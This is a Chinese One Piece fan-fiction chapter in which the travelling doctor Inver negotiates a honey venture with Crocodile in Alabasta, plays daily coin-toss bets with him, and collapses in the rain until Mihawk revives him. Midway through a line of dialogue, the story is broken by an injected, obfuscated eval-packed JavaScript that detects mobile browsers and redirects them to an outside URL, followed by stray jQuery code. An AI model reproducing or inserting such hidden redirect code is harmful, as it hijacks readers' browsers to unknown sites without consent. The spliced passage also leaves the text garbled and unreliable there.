84.沙子讨厌雨
作品:《学医救不了伟大航路》 克洛克达尔图什么倒是有些眉目了。
感谢他帮助的国王同意了茵弗在这里发展产业的计划,同时在他询问除了钱与权力,王族们还有什么好东西值得人垂涎时犹豫再三,吐露了阿拉巴斯坦地下陵墓的秘密——历史正文。
茵弗对着他能认出来的词挑眉——尤其是在某本古老的设计图上他见过多次出现的熟悉词语,很好猜它的意思——【冥王】。
“你...看得懂吗?”
面对寇布拉的震惊,茵弗摇摇头:
“当然看不懂。”
忽略身旁黑发国王的嘀咕,猜想也许并不是这个这类的话,茵弗觉得大概就是这个。
打不赢□□,败给白胡子...莫利亚失败后组建活死人军队,克洛克达尔找武器?
“总之...请务必保密,游医先生。”
“当然了,我宣扬它也没意义吧?”
聪明、有野心、伪装成浮木在水下蛰伏,对着不自知的猎物缓缓张开血盆大口,狠狠咬住,翻滚撕碎——人如其名啊,克洛克达尔先生。
跟贝克曼来一场聪明人交锋的话,大概会很精彩?变温动物们。
审视的蛇,蛰伏的鳄。
“陛下,克洛克达尔来访。”
刚回到王室厅,伊卡莱姆就如此禀报。
茵弗对着寇布拉比了个大拇指,回提供给自己的房间打各种电话虫。
跟商业的王汇报一下,联系完泽法借他的好队员,才挂断画着笑脸的电话虫门就被礼貌地敲了几下。
伊卡莱姆:“游医先生,国王陛下请你前去一同...会见客人。”
还没走?寇布拉很努力地推拉了吧,看来鳄鱼铁了心要见他。茵弗揉揉眼睛,给自己披上外套,沙漠地区到了晚上还是冷的,即使他们在城里。
鳄鱼也披着外套,毛毛的大衣看起来就很暖。
“啊,这位就是奇迹游医茵弗玛利先生了,游医先生,这位是阿拉巴斯坦的大英雄克洛克达尔先生。”
“您好,幸会。”
松开礼貌相握的手,茵弗在被伊卡莱姆带到旁边的椅子上坐下时搓了下手指。打得过,只是沙漠是对方的主场,可能会有点麻烦。
寇布拉友善地继续说道:“打扰你在忙了,但是鳄鱼先生听我说你要在阿拉巴斯坦开发伊甸产业后很感兴趣,想要聊聊。”
“啊,原来如此。”
茵弗目光扫过克洛克达尔的戒指,嘴里看起来很名贵的雪茄,还有...断手后的金钩义肢和脸上的疤。黑发男人同样在打量他,脸上带着礼貌的微笑。
“我听说除了建立药材基地,你准备在阿拉巴斯坦养蜂,游医先生?我以为在长期干旱环境下这很不划算。”
“我和国王已经达成合作,他投资了一大笔钱,我怎么会做这种让帮助我的人没回报的事呢。”
和聪明人讲话真的累。茵弗不着痕迹地叹了口气,缓缓开口。
沙枣是荒漠地区的传奇之树,耐旱,可以防风固沙,阿拉巴斯坦的沙枣椰枣也是一大产出。而沙枣蜂蜜在蜂蜜种类中是等级最高的一类,区别与百花蜜,它带着野生的木本风味,清爽的果香。
“同时,它的营养价值非常高,补脾益胃、补中益气、补血安神,增益对肠胃系统的维护...”
茵弗笑了笑:“我能在这里产出''医疗等级''的蜂蜜,杀菌效果效果比一般的抗生素还好。您明白吗?”
世界上最高品质的蜂蜜。
蜂蜜是鬼魂、恶魔、恶灵和死者的毒药,代表着复活的象征。
“沙漠里的黄金,克洛克达尔先生,不止有【沙】。”
沙·鳄鱼眯起眼睛。
他也是个精明的商人,自然知晓这其中的利益。本来以为“干旱”的事情,对方会提到最近的雨。干旱也是他选择这里的原因吗?
“你准备卖多少钱呢?”
旁侧的人脸颊托在手背上,笑眯眯地用另一只手比划了个数字。“至少也要两到五万贝利一瓶吧?”
王座上的寇布拉看到克洛克达尔和他刚听到这个数字时一样惊讶地顿住。毕竟一般市面上的蜂蜜也就是二百到一千贝利一瓶,最贵的也就是三千贝利。
“当然了,挂上【茵弗玛利】的牌子,卖给...''特殊人群''的话我会翻倍,换个包装的事情而已。”
克洛克达尔下意识哼笑一声,一个医生敢在王族的面前说自己会骗王族们的钱?
茵弗观察着他的反应,继续说道:“而且别的作物,包括带花的药材也可以搭配养蜂,产出的蜂蜜也会有医学价值,蜜蜂是个好东西,先生,它们传播生机。”
就像沙漠里的水,唤醒绿洲。
“别的地方我也打算养蜂呢,不止是阿拉巴斯坦,我这段时间对这件事很有兴趣。”
克洛克达尔:“当然了,毕竟蜂蜜这种甜味剂在你手里都是黄金。”
茵弗摇头:“这只是顺便,其实主要原因是我做了一次蜂蜡的手工蜡烛,觉得好玩而已。”
短暂交流后,克洛克达尔邀请他到自己的赌场兼酒店“雨宴”去做客,顺便表明自己愿意陪同他在雨地游历。雨地是他的地盘,在他的发展下已经是阿拉巴斯坦的“梦想之都”。奇迹游医要在这里发展产业,一定绕不开这里,毕竟是富有游客们一定会拜访的城市。在他的蜂蜜生意上也愿意合作,花钱买一部分销售权这类的。
“我是个海贼,但也是个商人,做生意的信誉上你可以放心。”
茵弗瞥了一眼寇布拉,在国王眼皮子底下挖墙脚?他都做到足矣大胆地这么干了?
他耸耸肩,“不影响我和王族合作的东西我们都可以慢慢谈,您是不是海贼对我来说没有关系。茵弗玛利平等地对所有选择他的人伸手。”
思考了一下,他在克洛克达尔以玩笑的口气说当然了,毕竟你和另一个七武海''关系也不赖''时回答道:
“这么关注我啊,先生,好巧,我也关注过您。”他笑着直视那双灰眸说,“您和我的老师曾经打过架呢。”
克洛克达尔:“...老师?”
茵弗:“啊,子弹(Bullet)先生。”
他可是巴/雷特的学生,只在水面堪堪露出鼻吻凝视他的鳄鱼如果准备张开嘴咬下来,那么结果会是一样的,他不会赢。
咬着雪茄的男人吐出一口灰烟,半掩住他黑掉的脸色。烟气散尽,茵弗不知道他在短时间内想了多少东西,不过克洛克达尔伸出手——金钩的那只——“那么祝合作愉快,游医先生。”
有意思。
茵弗也伸出手,不过没有握他那金钩,只是曲指弹了一下,发出一声响。
“合作愉快。”
-
鳄鱼把他带到身边监视也没用,监视王族也没用。雨不会停,因为气象学家们和寇布拉安排好了在阿拉巴斯坦的降雨恢复正常前隔一段时间就人工降雨一次。茵弗玛利已经在哈尔达心中的地位再次拔高——给他们介绍了长期大金主的贵客——加盟国王族出手就是大方。虽然送来学习的小丫头有些暴力,没有他会欣赏风之结。
所以即使克洛克达尔想跟着妮可·罗宾出现的情报去找人,之后正式展开他的理想乡计划也很难解决雨的问题。他得另想办法引发叛乱,种子埋下,现在要用不太一样的方式让它发芽。比如国王在发现事情败露后才暂停使用跳舞粉......
他一边思考着各种可能的情况,一边礼貌地等约好今天一起去逛逛雨地的奇迹游医。自己给他安排了雨宴里最好的房间,早餐有人送到床上的那种。
茵弗玛利声望很高,尤其是在产业地。他花了多年夺取属于阿拉巴斯坦王族的声望,作为他计划重要的一环。以后民众们嘴里对奇迹游医的谈论只会越来越多,如果只是和王族挂钩的话对他很不利,他得试着顶替。
手腕上的表走到离约好的时间差五分,浅金发男人就来了,打了个哈欠后注意到他,又挂上他那副笑眯眯的样子走来。
“早上好,克洛克达尔先生。”
“早上好,你想先去哪里?”
民众多的街上最好。
“嗯...我想先看看您的香蕉鳄。”
“...。”
香蕉鳄鱼是他的宠物,身形巨大,头顶有香蕉造型,是能以海王类为食的猛兽。茵弗玛利到达雨地后来找他,优先问的事情就是雨宴顶部香蕉鳄的造型,自己自然回答。
''读过但是没见过真的,还蛮想见见的。''
''自然,随时都可以。''
倒是没想到优先级这么高,他已经看了四十分钟了。克洛克达尔已经从站在一旁变为坐回自己的办公桌,有点烦躁地将烟灰抖入烟灰缸,他凝视着白衣人的背影——毕竟茵弗玛利扒在玻璃缸边,脑袋都贴在上面。
“好可爱哇...头上的香蕉捏起来是硬的还是软的?想摸摸看。”
手边就是让他从地板上掉下去的按钮,实现他的愿望也不是不可以。顺便被吃了那是他的问题,不过巴/雷特那混蛋的学生大概没那么轻易会被吃掉。
“要去摸一下吗?”
“可以吗?好诶。”
茵弗感到脚下一空,在到达底部前踏了个月步卸掉力道,发现自己到了水缸下面联通的空旷地带,旁边的几个入口里,刚刚还隔着玻璃的香蕉鳄们缓缓爬了出来。
超大只的,头上的香蕉对比之下就感觉小小的,而且一脸笨兮兮的凶感,真的可爱。
就是不太礼貌。
他将手臂覆盖上武装色,摁住第一只对着他长大的嘴巴。嗯...听起来是健康又强大的好鳄鱼,咬合力还不错,不愧是可以咬碎石头的家伙,阿龙当年被他揍到墙上也咬碎石头呢。
抽出手杖抽飞袭过来的另一只,他手一用力跳到手里这只的身上,在香蕉鳄试图把他甩下时一拳捶上它脑袋,然后温柔地摸摸捏捏那个香蕉——就是鳄鱼皮肉的手感。
有、有点失望。
克洛克达尔看茵弗玛利一边揍他的香蕉鳄们,一边在它们身上摸摸捏捏,测试鳞片强度,比划来比划去的研究。比起面对凶兽的严阵以待,或是把它们全部打晕,更像是在观察他们的自然反应和习性,在它们的攻击间灵活游走着,想仔细研究什么的时候才用手杖把碍事的几只抽开砸到墙上。
等香蕉鳄们都逃窜回水缸中他才无趣地撇撇嘴,踩着月步返回。
“...好玩吗?”
“很可爱,就是笨笨的。”
“哪里弄来的?我也想要。”
“你会六式?”
二人同时开口。
茵弗看克洛克达尔大概不想告诉他后甩了一下自己的手杖。
“会,泽法先生教过我,不过除了月步我不怎么用...我不打算钻研,所以没什么太大用处。”
铁块 、纸绘、会了霸气之后基本就是废掉的。岚脚还行,跟他流动外放配合的话想起来的时候也可以用。剃的话其实就是高速,他会的,当年被巴/雷特揍给他打下良好逃窜基础,至于指枪...
他将黑漆漆的手杖底部戳在瞬间紧绷的人身上,“有这个,干嘛要脏手。”笑嘻嘻地把手杖收回敲在地板上,克洛克达尔看起来就贵的地板上多了一个洞——没有多余裂痕的精准,“要不您卖我几只香蕉鳄?”
视线从地板上的洞收回,他当然感受到自己那一瞬间被武装色结实地戳了一下,不能元素化。巴/雷特是他的老师,听他的意思黑腕泽法也教过他。难怪能满世界行医,包括新世界。
“不卖。”
“也是,要您的宠物也太失礼了,它们以后的崽崽呢?”
茵弗念叨着,有人来禀报午餐准备好了,他跟着克洛克达尔走向餐厅。
午饭很好吃,茵弗觉得也许克洛克达尔能和鹰眼吃到一起去,甚至是多弗朗明哥,他们偏好有点像。在他这么说的时候长桌另一侧的人面色古怪了一下。
不想在下午最热的时候去全是游客和居民的街上,下一站是雨宴里的赌场。
克洛克达尔老板亲自陪同,然后跟前来攀谈的黑西装或者长袍子浅聊几句,当然有提到奇迹游医受他邀请这类的东西。
奇迹游医换了筹码,没太管他,只是在被打招呼时礼貌点头,收了几个名片回去给露玖。
就像观察香蕉鳄,他也观察鳄鱼的生活习性。
所以有些分神地简单玩了几把轮盘,骰子,还有二十一点——倒是赢了些钱。不过也许是老板在旁边的原因,总不会让他亲自陪着的客人输。
爆米花桶里装着硬币,他坐在椅子上摇老虎机。这还是他第一次进赌场,老雷爱去,仗着茵弗给他零花钱大把挥霍,偶尔带个小玩具回来给他。
“老虎机很有趣?”
他已经在这儿坐很久了。
“我喜欢听它的声响。”
这是什么鬼理由,克洛克达尔抖抖雪茄。
茵弗哗啦哗啦地晃了两下手里的硬币桶,即使是抛硬币,降落在哪一面在这儿都是可控的。
有不少衣衫华贵的人在这里,叼着雪茄将筹码推来推去。人群围在骰子桌边,欢呼声和低骂声混在一起。也有输得什么都不剩的人被拉走,不知道是被丢出去还是去签一些抵押所有财产的契约。
坐上赌桌,就要做好“赌”的准备,就像是选择做海贼,就要有杀与被杀的觉悟。
他投入一枚硬币,拉动摇杆,摇摇晃晃的可能性咕噜噜地在视线里滚动,可这里是赌场。
“运气、头脑、演技、资金底气....”——就像克洛克达尔,他偏头看向身旁的雨宴老板,在赌场里——“最后庄家总会赢。”
哒、哒、哒、
老虎机吐出些许硬币,哗啦啦地砸在铁皮篮里。克洛克达尔沉默看他将硬币装进爆米花桶,然后捏起一枚对比着赌场里的人,好像在寻找人与钱,人与筹码之间的相似度。他好像找到什么了,满意点头后离开椅子,活动了一下久坐的身体。
“玩够了?”
“玩够了,这些硬币能换奖品吗?我想要那个大的毛绒玩偶。”
抱着大号鳄鱼和鳄鱼逛街还是挺奇怪的感觉,如果手里再牵一条鳄鱼像遛狗一样大概就没那么奇怪?不过茵弗喜欢,居然把鳄鱼玩偶做成毛茸茸的样子,设计天才。
因为时间的关系,很多人都准备去找餐馆,或者已经找到心仪的娱乐场去挥霍了。不过作为一个商业气息浓厚的城市,街上还是不少人,茵弗还是感受到“阿拉巴斯坦的大英雄”是多么受欢迎。如果是人多的时间,大概和卡塔库栗上街也不相上下。
道阻且长啊,寇布拉国王。
大概他看起来更温和一点吧,勇敢凑过来的漂亮女士都挤到他身上了。
“鳄鱼大人——!”
“呀——!”
声调都跟喊''卡塔库栗大人''一样呢。
克洛克达尔友好地一只手搭在他肩上,将他向他的方向拢了拢——金钩的那只手,然后随便回应着,当然还是话里话外带着奇迹游医这类的,''共同造福砂之国''。
茵弗拍开他的钩子,及时翻出手帕捂在脸上,打了个喷嚏——热情的人们香水味太杂了。
“啊湫—”
鳄鱼斜了一眼身旁的男人。虽然比他小,那也是三十多岁的人,抱着玩偶跟个小孩子一样,非得爬到房顶上看日落。不过站在高处,底下的民众崇拜地对他打招呼他是习惯的,所以上房顶也没什么关系。
茵弗收起拍照电话虫,天色已经染上深蓝,能见到的第一颗星星已经在向大地招手。金色的沙漠国度,大量土黄色的建筑,阳光镶嵌的镀金。每天的落日都很漂亮,如果香克斯在这里大概会拍很好看的照片。
即使是在城里,沙漠地区晚上还是冷的,随着太阳落山,气温也迅速开始降低。他身上只套着防晒的衣袍。
“冷了,下去吧先生。”
克洛克达尔的毛大衣看起来真的很暖,不过白天不会热吗?茵弗怕冷不怕热,但是也不会在这种气候环境穿他那身衣服。也许是果实的关系吧,他本来就是沙子。
克洛克达尔说请他在附近华贵的餐厅吃饭他还是有点抗拒的。晚一点就更冷了,还要走回雨宴去?不过他拒绝对方请他不要将手里的玩偶带进高级餐厅的请求,看他也很不爽的样子就欣然同意去餐厅了。估计是不喜欢过几天阿拉巴斯坦内部的报纸宣传他们的“好关系”时,拍照出来显得不够严肃?
餐前点是鹰嘴豆泥和酸奶油配面包,二人聊了聊生意。不过也没说太多,一般这种事情都是家里的专业人士去安排,克洛克达尔太聪明,这方面茵弗觉得容易被他带到沟里。
不如聊八卦。
“您手下的赏金猎人们有曾经试图把您抓去换悬赏的吗?哦,不对,您是七武海来着,他们也不知道您就是老板。”
克洛克达尔顿了一下,在送来主食的服务员离开后盯着奇迹游医。对方很自然地切着羊排,用刀具刮上肉汁,没有回视。
“看在我给您养着威士忌山峰的份上,一会儿回去路上把大衣借给我吧,社长大人?晚上很冷。”
黑发男人嗤笑一声,也动手吃自己的食物。威士忌山的酿酒的确和伊甸有合作,即使表面出面的不是巴洛克工作室。
“我拒绝,游医先生,你要是很冷我可以让人送衣服来。怎么查出来的?”
茵弗点头算是同意,只要暖和就行。
“酿酒的小镇全都是赏金猎人,我当然要调查一下,您的秘密没有您想象的那么严,尤其是早期的时候。”
不是他查的,但是四舍五入可以是他查的。打电话虫给大火烈鸟,对方告诉他在黑市大量购买跳舞粉背后的组织时他才想起来自己听露玖说过巴洛克工作室的名字,毕竟是她早期就留了名片的地方,只不过调查完结果是不影响威士忌山峰伊甸的产业,他就没在意。
克洛克达尔点头。那就是他知道有一阵子了,确实开始的几年保密工作还没有像现在这么严。既然如此,看王室的态度大概也没有给寇布拉透露过。情报里有只要不影响到茵弗玛利的东西,他就保持中立的这一点。
茵弗的确没有透露,毕竟他是知道了旱灾的事情,先叫来哈尔达他们降了雨之后,听科学家们说云的异常才慢慢发现这件事的。因为自己好奇才查下去,所以寇布拉只是知道克洛克达尔是使用跳舞粉,加剧干旱的人。茵弗都给他们点出来水里的那节枯木是捕猎者了,他们之后要是自己调查不出来也太逊了吧。什么都要他来?
不过他要在这儿养蜜蜂,养药材,这是“他的东西”,泽法已经派了包括宾兹在内的几名队员在来的路上,茂盛果实的使用者答应帮他催熟他的药园。
“您一个海贼不组建海贼团,而是''工作室''还挺有意思的。【巴洛克】的名字也好听,很适合您。”
奇怪的、不规则的珍珠;变温动物的傲气。
在沙的国度,他挥手就能带来天灾。不要伙伴,只是“雇佣”。失去了利用价值放弃就好了,对待【奇迹游医】的态度上也是这样的。
克洛克达尔:“也许我们不应该在这里谈,游医先生。”
茵弗:“哦好,那回去再说,其实我提起来的一大原因除了想聊八卦就是听说您们用厉害的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094013|154812||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蜥蜴传消息,想看看。”
“五百万贝利一只。”
“这么贵,我没那么多零花钱。”
-
茵弗玛利眼馋他的香蕉鳄,眼馋他水路接送龟,眼馋他的卷领马拉松。
既然他已经知道了,藏着掖着也没什么意义。工作室的总部在蜘蛛咖啡店,不管茵弗玛利知不知道这一点,他也没打探过。进出他的办公室都直奔香蕉鳄,不询问工作室的事情,不怎么往他身边凑,天天就盯着他的动物们。
阿拉巴斯坦报对他有利的信息发出,他也就不再陪茵弗玛利逛雨地,安排波尼斯跟着监视。王室那边没有情况,他这里也没有,爱鲁马又下了一场雨,他已经安排新的谣言发布,等待发酵成熟。
不管雨是不是奇迹游医的“奇迹”,事已至此,他只能自认在这件事上棋差一着。至少他没有大肆干扰到他的计划,只是雨而已。
茵弗玛利的伊甸开始发展的时间和他差不多,甚至要晚一些,不过凭借自己的脑力和力量一步步往上爬,面对四皇、海军,他都是“平等的中立”,挺直脊背的傲气还是值得欣赏的。
虽然性格有点烦。
门被敲了几下,淡金色的脑袋探进来,看他没在打电话虫就溜过来,这次倒是没有直接过来上手摁地板开关的按钮,而是神秘兮兮地凑到他办公桌前,摸出一张...彩票。
“中了。”
克洛克达尔扫了一眼,大概是雨地哪家□□店的,商标颜色有点熟悉。干嘛找他说这种事情,生意合作都是电话虫他在跟别人谈。
“很多钱?”
“五百贝利。”
他吐出一口烟,摁开地板开关,示意他可以走了。茵弗玛利将上面带有刮痕的彩票宝贝地放到口袋里,又摸出来几张。
“我用这五百贝利给您又买了四张,以表这段时间招待我的感谢,您不想刮刮看吗?”
“没兴趣。”
金发男人摇头说我不信,好像他不信就不是真的了一样,他再次摁下开关合上地板,将四张标着100的刮刮乐彩票放在他的文件上,指指他的金钩。
“您都不用硬币,直接就能刮。”
他还没开口,或者把那几张彩票丢在壁炉里,对方就继续说道:“您一直都是庄家,来做一次赌客吧。”他从口袋里摸出一枚古董金币,缺了一角,然后说,“猜错,您就刮刮看,猜对,我就拿走它们,还给您个奖励。”
莫名其妙。
为了让他赶紧走,克洛克达尔咬着烟说道:“反面。”
叮——啪!
反面。
面前的人像个小孩一样撇嘴,默默收回那几张彩票,然后从斜挎的口袋里拿出一支一百贝利一朵的沙漠玫瑰插在他桌上的空瓶里。
“好吧,奖励您一朵花,今天卖花的摊子上那个小女孩说是最早开放的一朵呢。”
克洛克达尔捏住它,粉红的花朵在金色的视线里迅速失去水分后枯萎消散。
“啊。”
奇迹游医这么说,耸耸肩后离开了,推开门时碰到正要进来的波尼斯,又询问他要不要刮彩票。还没回答就被塞了一手彩票的Mr.1看了一眼自家老板,也不知道是不是该收下。
那四张彩票又回到了克洛克达尔桌上,被他丢到壁炉里。
第二天他又来送了一朵花,再次被他吸干后这个人居然点点头后拿出一把葡萄,拜托他做葡萄干。
“滚。”
“真失礼,来赌吧,猜对了就做葡萄干,猜错了就给您个礼物。”
“为什么猜对了要做?猜错了才对吧。”
“有什么区别?只是一个结果对应一个而已。”
还是金币——“正面。”
叮——啪!
那把葡萄被留在他桌上,连着“礼物”,一张雨地的相片,大概是那天他在房顶上拍的。
照片丢入壁炉,充满水分的新鲜葡萄是他的战利品。
第三天也是一样。
枯萎的花,莫名其妙的请求,“来赌吧”。
第四天——金币,正面反面。
第五天——无所谓输赢的选择。
第六天他第一次遵循请求,茵弗玛利拿来的木桩在他的能力下失去大量的水分后被医生自己丢到壁炉里。于是余下的一天克洛克达尔的办公室弥漫着一股让人放松的微香。
第七天、第八天、一枚硬币的赌博持续下去。第十四天花朵没有枯萎,第十五天、第十六天、第二十天他没有来。
克洛克达尔第三次看过时钟,啧了一声。情报上“性情不定”的奇迹游医,性格真是麻烦。
噗噜噗噜噗噜、
“BOSS。”
“还没回来,Mr.1?”
跟着波尼斯给出的地点找过去,发现不守时的奇迹游医不打伞在雨里靠墙坐着,身上脏兮兮的样子大概就是波尼斯所说“到处跑来跑去”弄得。街上行人不多,这次的雨算得上是大雨,到处都是接水的水瓮。
他脸上带着讨厌的笑。
克洛克达尔打着伞走过去,一旁同样打着伞的波尼斯见到他后礼貌点头站到一边。茵弗玛利没看他,胳膊支在曲起的腿上。
“今天的雨是暖呼呼的沙漠雨,我喜欢。”
“我不喜欢。”
今天的雨,明天的雨;这里的雨,别处的雨。大概唯一没有让他意识到不适的雨就是海贼王处刑的那天,罗格镇的暴雨,甚至让他有点怀念。
“您是''沙''嘛,没关系,我可以给您形容。”
雨水噼里啪啦地打在他的伞上,混着茵弗玛利的声音。淡金色的头发被打湿黏在脸上,已经被拆散了,带着铁环的黑色皮圈套在卷起袖子后深色的小臂上,与大大小小的伤疤一起。
被迫淋雨和自己主动走入雨中的感觉是不一样的,他说,也许是因为那是自己选择的自由。温热的水打在头脸上,颈窝处,可以感受到一点算不上是刺痛的重量。衣服被淋湿贴在身上,它的重量压住你,免得灵魂因为过于自由的欣喜而如雨天的青蛙一般跳离。
天上的是水,地上的也是水,你也是水,不寒冷的雨是世界在吻你。爱就是有人愿意与你走到雨中,手拉着手奔跑,在水洼里跳跃,光着脚踩到石子,也要一起跳舞,一起大笑。
雨水贴着肌肤的纹理滚动,那并不痒。睫毛也变得沉甸甸,偶尔要揉去遮挡视线的水珠。
小雨里,我们是琴;大雨里,我们是鱼;万水汇于一,我们是海。
我的重量,水的重量,全都化在空气里。
“昨天我看到那个孩子在雨里转圈。很奇怪,很好笑。哈哈哈。我想去雨里散步,要带伞吗?不要,我要找个没人的地方跳舞。”
克洛克达尔沉默地听着,直到茵弗玛利的话开始变得奇怪,像是在重复谁,又像是在描述不存在的人群,与他们对话。直到他一言不发,仍然没有看向他,只是盯着街道上的虚空。
天色晚了,再怎么“温暖”的雨,沙漠的夜也是冷的。之前还嚷嚷着要借他大衣穿不然可能会冷死的人就这么坐着,生理性发抖。
“我讨厌雨。”他啧了一声,夹着雨伞,没能点燃潮湿的雪茄。
茵弗玛利没回答,克洛克达尔把大衣丢到他身上,也一动不动。所以他指指他,对着波尼斯下令道:“把他带回去。”
沙率先返回,离开这讨厌的雨。
-
第二十一天。
第二十二天。
第二十三天。
他给那个变得没有反应的人带了一支沙漠玫瑰。
-
他没再去看过他,只是请了个医生,告诉波尼斯他恢复了再汇报。奇迹游医在他这儿出问题传出去可不是什么对他计划有利的消息。不过伊甸来这边负责产业项目的人已经到了,没联系到人后亲自来雨地找他。年轻的女性在得知情况后表示理解,“并不是您的问题,谢谢您对茵弗哥的照顾。”然后给伊甸去了电话虫。
倒是没有想到来的人是鹰眼米霍克。
一个七武海到他的地盘他可得盯着点,所以他又跟着去了那间被他转移到内区的卧室。茵弗玛利身上多了几个吊瓶。
“我跟你说过自己一个人的时候不要冥想。”
鹰眼叹了口气。
克洛克达尔靠在门边,看世界第一大剑豪拉过奇迹游医的一只手,低声说话。一次尝试没有成功,鹰眼询问具体当时怎么回事,权当休息。
“他就淋了个雨,念叨什么雨啊水啊,他啊海啊的,然后就不说话了。”
米霍克歪歪脑袋,在下一次尝试时更加以这个方向去引导。时间太久了,他的幻觉或者别的什么大概已经定型。
又尝试了两次,茵弗玛利终于回握了一下米霍克的手,有些疑惑地问他怎么在这里的时候,克洛克达尔才离开。
这是他的弱点?容易被困在自己的脑袋里?
茵弗玛利靠睡觉回脑子的时候,鹰眼成了他的客人,金发医生说得没错,他们能吃到一起去。桌子对面的金眸男人只是晃晃红酒杯,对他的问题耸肩。
自己跟鹰眼应该更像同类,对人没什么信任的独,他不太明白他们两个怎么能呆到一起去。
不过那些都和他,和他的理想乡没有关系。
茵弗玛利正式恢复之后,准备跟着鹰眼离开,游历,旅游,随便什么,他在雨地呆得够久了,反正要监督一下伊甸的工作后就离开阿拉巴斯坦。
奇迹游医为了感谢他的照顾,临走前送了他一张黑白的照片,看起来是海浪。
他们没再玩过没有输赢的金币游戏。